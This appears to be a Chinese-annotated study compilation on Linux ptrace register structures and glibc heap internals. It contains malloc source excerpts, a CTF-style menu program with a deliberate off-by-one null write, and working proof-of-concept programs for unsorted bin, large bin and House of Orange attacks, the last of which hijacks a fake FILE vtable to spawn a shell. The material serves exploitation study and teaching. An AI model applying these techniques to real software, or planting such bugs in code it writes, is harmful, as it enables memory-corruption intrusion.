ptrace(PTRACE_TRACEME, pid, NULL, NULL);

ptrace(PTRACE_DETACH, pid, null, signal);

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

struct user_regs_struct 
{
    unsigned long r15, r14, r13, r12, rbp, rbx, r11, r10;
    unsigned long r9, r8, rax, rcx, rdx, rsi, rdi;
    unsigned long orig_rax;  // 系统调用号/返回值（+0x78)
    unsigned long rip;       // 指令指针（+0x80）
    unsigned long cs;        // 代码段寄存器
    unsigned long eflags;    // 标志寄存器
    unsigned long rsp;       // 栈指针
    unsigned long ss;        // 栈段寄存器
    unsigned long fs_base;   // FS 段基址
    unsigned long gs_base;   // GS 段基址
    unsigned long ds, es, fs, gs;  // 段寄存器
};

struct user_regs_struct 
{
    long ebx, ecx, edx, esi, edi, ebp, eax;
    int xds, xes, xfs, xgs;
    long orig_eax;  // 系统调用号
    long eip;       // 指令指针
    short xcs, xss, xds, xes, xfs, xgs;
    long eflags, esp;
};

struct user_fpregs_struct 
{
    __uint128_t st_space[32];  // 80-bit x 8 寄存器
};

struct user_fpregs_struct 
{
    int cwd, swd, twd, fip, fcs, foo, fos;
    long st_space[20];  // 80-bit x 8 寄存器
};

struct user_fpxregs_struct 
{
    __uint128_t st_space[32];  // 80-bit x 8 寄存器
    __uint128_t xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
    unsigned int padding[24];  // 填充
};

struct user_fpxregs_struct 
{
    unsigned short cwd, swd, twd, fop;
    unsigned int fip, fcs, foo, fos, mxcsr, reserved;
    long st_space[32];   // 80-bit x 8 寄存器
    long xmm_space[32];  // 128-bit x 16 寄存器 (SSE)
    long padding[56];    // 填充
};

typedef struct siginfo 
{
    int si_signo;    // 信号编号
    int si_errno;    // 错误码
    int si_code;     // 信号来源代码
    
    // 以下字段根据 si_code 的值而不同
    union {
        int _pad[28];  // 保留空间
        
        // kill(), sigsend(), raise() 发送的信号
        struct {
            pid_t _pid;    // 发送进程ID
            uid_t _uid;    // 发送进程真实UID
        } _kill;
        
        // 定时器信号
        struct {
            timer_t _tid;      // 定时器ID
            int _overrun;      // 超限计数
            char _pad[sizeof(__ARCH_SI_UID_T) - sizeof(int)];
            sigval_t _sigval;
            int _sysid;
        } _timer;
        
        // 管道写入到无读取端
        struct {
            pid_t _pid;    // 子进程ID
            uid_t _uid;    // 子进程真实UID
        } _cld;
        
        // 用户空间产生的信号
        struct {
            pid_t _pid;    // 发送进程ID
            uid_t _uid;    // 发送进程真实UID
            sigval_t _sigval;
        } _rt;
        
        // 段错误等硬件异常
        struct {
            void *_addr;   // 错误地址
            short _addr_lsb; // 地址LSB
            union {
                struct {
                    void *_addr2;
                    ushort _dummy2[3];
                } _addr;
                struct {
                    unsigned int _dummy1[3];
                    unsigned int _dummy2;
                } _dummy;
            } _bounds;
        } _sigchld;
        
        // 其他错误
        struct {
            void *_addr;   // 错误地址
            short _addr_lsb; // 地址LSB
            void *_lower;
            void *_upper;
        } _sigfault;
        
        // 系统调用跟踪
        struct {
            long _call_addr; // 系统调用指令地址
            int _syscall;    // 系统调用号
            unsigned int _arch; // 系统调用架构
        } _sigsys;
    } _sifields;
} siginfo_t;

struct iovec 
{
    void *iov_base;  // 数据缓冲区起始地址
    size_t iov_len;  // 缓冲区长度
};

struct iovec iov;
iov.iov_base = &regs;  // 指向寄存器结构
iov.iov_len = sizeof(regs);

// 获取寄存器集
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);

// 获取 x86 扩展状态（包括 AVX 寄存器）
struct iovec iov;
iov.iov_base = &xsave;
iov.iov_len = sizeof(xsave);

ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov);

/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
    malloc_printerr("corrupted size vs. prev_size");

/* 验证前后节点指针的完整性：前驱的后继和后继的前驱必须都指向P */
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
  
  /* 链表完整性验证通过，执行移除操作 */      
  else {								      
      /* 基本链表操作：让前驱和后继互相指向，跳过P */  
      FD->bk = BK;							      
      BK->fd = FD;			
      ....

/* 处理非small bin的特殊情况（large bins可能有额外的大小链表） */
      if (!in_smallbin_range (P->size)				      
          && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
          /* 检查大小链表的完整性 */
   if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
     malloc_printerr (check_action,				      
	       "corrupted double-linked list (not small)",    
	       P, AV);					      

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h> // malloc_usable_size

#define MAX_CHUNKS 10

char *chunks[MAX_CHUNKS];

void menu()
{
    puts("==== Menu ====");
    puts("1. Add");
    puts("2. Edit");
    puts("3. Show");
    puts("4. Delete");
    puts("5. Exit");
    printf("> ");
}

int read_int()
{
    char buf[16];
    if (!fgets(buf, sizeof(buf), stdin)) exit(0);
    return atoi(buf);
}

void add()
{
    int idx;
    for (idx = 0; idx < MAX_CHUNKS; idx++)
    {
        if (!chunks[idx]) break;
    }
    if (idx == MAX_CHUNKS)
    {
        puts("No free slot!");
        return;
    }
    printf("Size: ");
    size_t sz = read_int();
    chunks[idx] = malloc(sz);
    if (!chunks[idx])
    {
        puts("malloc failed");
        exit(1);
    }
    printf("Data: ");
    int end = read(0, chunks[idx], sz);

    chunks[idx][end] = '\0';

    puts("Added.");
}

void edit()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    size_t real_size = malloc_usable_size(chunks[idx]);
    printf("Data: ");
    read(0, chunks[idx], real_size);
    puts("Edited.");
}

void show()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    puts(chunks[idx]);
    puts("");
}

void delete()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    free(chunks[idx]);
    chunks[idx] = NULL;
    puts("Deleted.");
}

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    int choice;
    while (1)
    {
        menu();
        choice = read_int();
        switch (choice)
        {
            case 1: add(); break;
            case 2: edit(); break;
            case 3: show(); break;
            case 4: delete(); break;
            case 5: exit(0);
            default: puts("Invalid choice");
        }
    }
    return 0;
}

victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)

#include <stdio.h>
#include <stdlib.h>

int main(){
    // 程序开始时的提示信息
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

    // 对应中文：
    /*
    fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n");
    fprintf(stderr, "在实际攻击中，unsorted bin 攻击通常是为了进一步攻击做准备，例如修改 libc 中的全局变量 global_max_fast，以便进行 fastbin 攻击。\n\n");
    */

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    // 对应中文：
    /*
	fprintf(stderr, "首先，我们看一下栈上想要覆盖的目标变量：\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
    */

	unsigned long *p=malloc(0x500);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(0x600);

    // 对应中文：
    /*
	fprintf(stderr, "现在，我们在堆上分配第一个正常内存块，地址为：%p\n", p);
	fprintf(stderr, "再分配另一个正常的内存块，目的是避免在释放第一个内存块时，top chunk 与其合并。\n\n");
    */

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

    // 对应中文：
    /*
	fprintf(stderr, "我们现在已经释放了第一个内存块，它将被插入到 unsorted bin 中，其 bk 指针指向：%p\n", (void*)p[1]);
    */

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

    // 对应中文：
    /*
	fprintf(stderr, "现在模拟一个可以覆盖 victim->bk 指针的漏洞。\n");
	fprintf(stderr, "我们将 victim->bk 写为目标地址减去 16（如果是 32 位机器，则应为目标地址减去 8）：%p\n\n", (void*)p[1]);
    */

	malloc(0x500);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

    // 对应中文：
    /*
	fprintf(stderr, "再次调用 malloc 来获取我们刚刚释放的内存块。在这个过程中，目标变量应该已经被改写了：\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
    */

//av是指向mstate（memory state）的指针，nb是请求的大小
else
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
        alloc_perturb (p, bytes);
      return p;
    }

if (contiguous (av) && old_size && brk < old_end) {
    // ...
} else if ((unsigned long) (size) < (unsigned long) (MMAP_AS_MORECORE_SIZE)) {
    size = MMAP_AS_MORECORE_SIZE; // 默认 1MB
    char *mbrk = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
}

else { /* av == main_arena */
  size_t pagesize = GLRO(dl_pagesize);
  ...
  /* 计算扩展大小 */
  size = nb + mp_.top_pad + MINSIZE;
  if (contiguous(av))
    size -= old_size; // 如果堆连续，减去旧 top 的大小
  size = ALIGN_UP(size, pagesize); // 对齐到页大小

  brk = (char *) (MORECORE(size)); // 调用 sbrk 扩展堆

  if (brk != (char *)(MORECORE_FAILURE)) {
    ...
    /* 如果新内存与 old_top 相邻，直接合并 */
    if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) {
      set_head(old_top, (size + old_size) | PREV_INUSE); // 合并为新 top
    } else {
      ...
}

{
   ....
   /* 非连续内存处理 */
      front_misalign = (INTERNAL_SIZE_T) chunk2mem(brk) & MALLOC_ALIGN_MASK;
      if (front_misalign > 0) {
        correction = MALLOC_ALIGNMENT - front_misalign;
        aligned_brk += correction;
      }
      ...
      /* 插入围栏块 */
      old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
      set_head(old_top, old_size | PREV_INUSE);
      chunk_at_offset(old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;
      chunk_at_offset(old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;

      /* 如果 old_size >= MINSIZE，释放到 unsorted bin */
      if (old_size >= MINSIZE) {
        _int_free(av, old_top, 1); // 释放 old_top
      }
      ...
    }
}

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
)
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
    House of Orange 攻击演示
    利用堆溢出篡改 _IO_list_all 指针
    需要泄漏堆地址和 libc 地址
    原理参考：http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

// 模拟已知 system 函数地址的场景
int winner(char *ptr);
int main()
{
    // 攻击前提：堆溢出可篡改 Top Chunk 元数据
    // 初始堆空间完全属于 Top Chunk
    // 每次分配会从 Top Chunk 分割内存，导致其逐渐缩小
    char *p1, *p2;
    size_t io_list_all, *top;

    // 【重要版本提示】
    // glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp（commit 91e7cf98）
    // glibc 2.24 引入 _IO_FILE 虚表白名单机制，无法通过修改虚表为堆地址来进行攻击
    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    // ┌───────────────────────┐
    // │ 第一阶段：堆布局构造   │
    // └───────────────────────┘
    // 1. 初始分配 0x400-0x10 字节（模拟堆使用）
    p1 = malloc(0x400 - 0x10);

    // 2. 修改 Top Chunk 元数据
    // 原始 Top Chunk 大小为 0x21000（页对齐要求）
    // 分配后剩余 0x20C00 + PREV_INUSE 标志（0x20C01）
    top = (size_t *)((char *)p1 + 0x400 - 0x10); // 定位到当前 Top Chunk
    top[1] = 0xc01; // 设置新大小为 0xC00 + PREV_INUSE（满足页对齐要求）

    // 3. 请求超大内存触发 sysmalloc
    // 这会导致：
    // - 旧堆空间与新申请的内存不连续
    // - 旧 Top Chunk 被放入 unsorted bin
    p2 = malloc(0x1000); // 请求 0x1000 > 0xC01 的内存

    // ┌─────────────────────────────────┐
    // │ 第二阶段：unsorted bin 劫持    │
    // └─────────────────────────────────┘
    // 4. 计算 _IO_list_all 地址
    // 通过 free chunk 的 fd/bk 指针（指向 main_arena）定位
    io_list_all = top[2] + 0x9a8; // main_arena 偏移计算

    // 5. 构造 unsorted bin 链表
    // 当 malloc 处理 unsorted bin 时：
    // 会将 unsorted_bin->bk->fd 写入 _IO_list_all
    // 因此设置：
    top[3] = io_list_all - 0x10; // bk 指针指向 _IO_list_all-0x10

    // ┌────────────────────────────────────┐
    // │ 第三阶段：伪造 FILE 结构体        │
    // └────────────────────────────────────┘
    // 6. 填充 "/bin/sh" 字符串
    memcpy((char *)top, "/bin/sh\x00", 8); // 作为 system 参数

    // 7. 设置特殊 size 值触发异常
    // 将 Top Chunk 改为 smallbin-4 的 size（0x61）
    // 触发 malloc 在检查 size 时发现异常（size <= MINSIZE）
    // 进而调用 abort -> _IO_flush_all_lockp
    top[1] = 0x61;

    // 8. 构造完整的 fake FILE 结构体
    FILE *fp = (FILE *)top;
    fp->_mode = 0; // _mode <= 0 满足条件
    fp->_IO_write_base = (char *)2; // 写指针范围检查
    fp->_IO_write_ptr = (char *)3;

    // 9. 设置虚函数表跳转
    size_t *jump_table = &top[12]; // 跳转表位置
    jump_table[3] = (size_t)&winner; // _IO_OVERFLOW 指向 system
    *(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table; // 绑定跳转表

    // ┌──────────────────────────┐
    // │ 触发漏洞执行系统命令    │
    // └──────────────────────────┘
    // 最终调用链：
    // malloc -> malloc_printerr -> abort -> _IO_flush_all_lockp 
    // -> _IO_OVERFLOW(fp) -> winner("/bin/sh")
    malloc(10); // 触发漏洞

    return 0;
}

// 实际执行 shell 的函数
int winner(char *ptr)
{
    system(ptr); // system("/bin/sh")
    syscall(SYS_exit, 0);
    return 0;
}

// victim是当前即将进入 large bin 的堆块
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) 
{
    // 如果victim的size小于当前链表中某chunk的size
    // 将victim插入到该chunk之前，维护nextsize链表
    victim->fd_nextsize = bck;
    victim->bk_nextsize = bck->bk_nextsize;
    bck->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
else
{
    // 如果victim的size大于等于链表中所有chunk的size
    // 将victim插入到链表尾部
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
// 将bck指向fwd->bk，为后续主链表插入做准备
bck = fwd->bk;
// ...existing code...

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    setbuf(stdout, NULL);

    printf("本文件演示了通过large bin攻击将一个大的unsigned long值写入栈中\n");
    printf("实际上，large bin攻击通常是为进一步攻击做准备，比如重写libc中的全局变量global_max_fast以进行后续的fastbin攻击\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    printf("首先来看一下我们想要在栈上重写的目标:\n");
    printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    printf("现在，我们在堆上分配第一个large chunk，地址为: %p\n", p1 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时下一个large chunk与第一个large chunk合并\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    printf("然后，我们在堆上分配第二个large chunk，地址为: %p\n", p2 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时下一个large chunk与第二个large chunk合并\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    printf("最后，我们在堆上分配第三个large chunk，地址为: %p\n", p3 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时top chunk与第三个large chunk合并\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    printf("现在我们释放第一个和第二个large chunk，它们将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    printf("现在，我们分配一个比已释放的第一个large chunk更小的块。这会将已释放的第二个large chunk移入large bin freelist，"
            "使用已释放的第一个large chunk的一部分进行分配，并将剩余部分重新插入unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    printf("现在，我们释放第三个large chunk，它将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------
    // 现在模拟一个漏洞，可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针
    printf("现在模拟一个漏洞，可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针\n");
    printf("基本思路是减小已释放的第二个large chunk的size，强制malloc将已释放的第三个large chunk插入large bin freelist的头部。"
            "为了覆盖栈变量，我们将“bk”设置为stack_var1之前16字节，将“bk_nextsize”设置为stack_var2之前32字节\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);// bk
    p2[3] = (unsigned long)(&stack_var2 - 4);// bk_nextsize

    //------------------------------------

    malloc(0x90);
 
    printf("我们再malloc一次，这样已释放的第三个large chunk会被插入large bin freelist。"
            "此时目标变量应该已经被重写:\n");

    printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // 完整性检查
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

else
{
       victim->fd_nextsize = fwd;
       victim->bk_nextsize = fwd->bk_nextsize;
       if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) 
              malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
       fwd->bk_nextsize = victim;
       victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
       malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
       fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
       bck = bck->bk; //bck成了main_arena的bk指针指向的堆块(当前链表中最小的那个堆块)
       victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针，也就是所在的large_bin的最大的堆块
       victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点，没有检测，所以我们可以伪造大堆块的bk_nextsize
       fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算，如果在没有进行修改的情况下，等式可以化简为fwd->fd->bk_nextsize = victim，也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}